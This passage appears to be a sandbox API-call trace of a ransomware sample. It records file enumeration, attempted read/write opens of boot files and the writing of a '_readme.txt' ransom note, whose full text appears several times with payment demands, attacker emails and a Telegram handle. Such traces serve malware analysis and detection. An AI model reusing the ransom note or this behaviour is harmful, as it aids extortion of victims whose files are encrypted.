(pszPath="") returned="" [0116.568] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b33940, ftCreationTime.dwHighDateTime=0x1d4cc62, ftLastAccessTime.dwLowDateTime=0xd6c3e5b0, ftLastAccessTime.dwHighDateTime=0x1d4cefc, ftLastWriteTime.dwLowDateTime=0xd6c3e5b0, ftLastWriteTime.dwHighDateTime=0x1d4cefc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.569] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b33940, ftCreationTime.dwHighDateTime=0x1d4cc62, ftLastAccessTime.dwLowDateTime=0xd6c3e5b0, ftLastAccessTime.dwHighDateTime=0x1d4cefc, ftLastWriteTime.dwLowDateTime=0xd6c3e5b0, ftLastWriteTime.dwHighDateTime=0x1d4cefc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.569] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.569] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\") returned="ZTE-\\" [0116.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0116.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.569] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.570] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.570] PathFindFileNameW (pszPath="") returned="" [0116.570] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.572] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.573] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.573] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\") returned="ynWwf7IE7\\" [0116.573] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0116.573] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.573] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.573] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.573] PathFindFileNameW (pszPath="") returned="" [0116.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x965fa9e0, ftCreationTime.dwHighDateTime=0x1d4c642, ftLastAccessTime.dwLowDateTime=0x5f2cca30, ftLastAccessTime.dwHighDateTime=0x1d4cc5e, ftLastWriteTime.dwLowDateTime=0x5f2cca30, ftLastWriteTime.dwHighDateTime=0x1d4cc5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.575] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.576] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.576] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.576] PathFindFileNameW (pszPath="") returned="" [0116.576] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.576] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.576] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.576] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.576] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0116.576] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0116.577] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x39836e0 [0116.577] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0116.577] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0116.577] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.578] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0116.578] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0116.578] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0116.578] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.579] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.579] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.579] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.579] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.579] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.579] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.579] PathFindFileNameW (pszPath="") returned="" [0116.579] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.579] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.579] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.579] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f4110 [0116.579] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f4110 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.579] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f4918 [0116.579] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.579] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4918 | out: hHeap=0xd10000) returned 1 [0116.579] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.579] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.580] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.580] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.580] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.580] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f4110 [0116.580] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0116.580] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.580] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.580] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0116.580] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.580] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.580] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.580] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.580] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.580] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.580] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.580] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.580] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.580] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.580] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.581] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.581] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x4a0c2390, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x4a0c2390, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0116.581] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.581] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0116.581] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.581] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x49c97d10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0116.581] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.581] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0116.581] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.581] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.581] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0116.581] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.581] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.581] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.581] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0116.581] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.581] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.581] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0116.581] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.581] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.581] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.581] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0116.581] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.582] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.582] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0116.582] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.582] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c) returned 0x3947d88 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.582] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x38) returned 0x3983720 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.582] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x54) returned 0x39668a0 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.583] 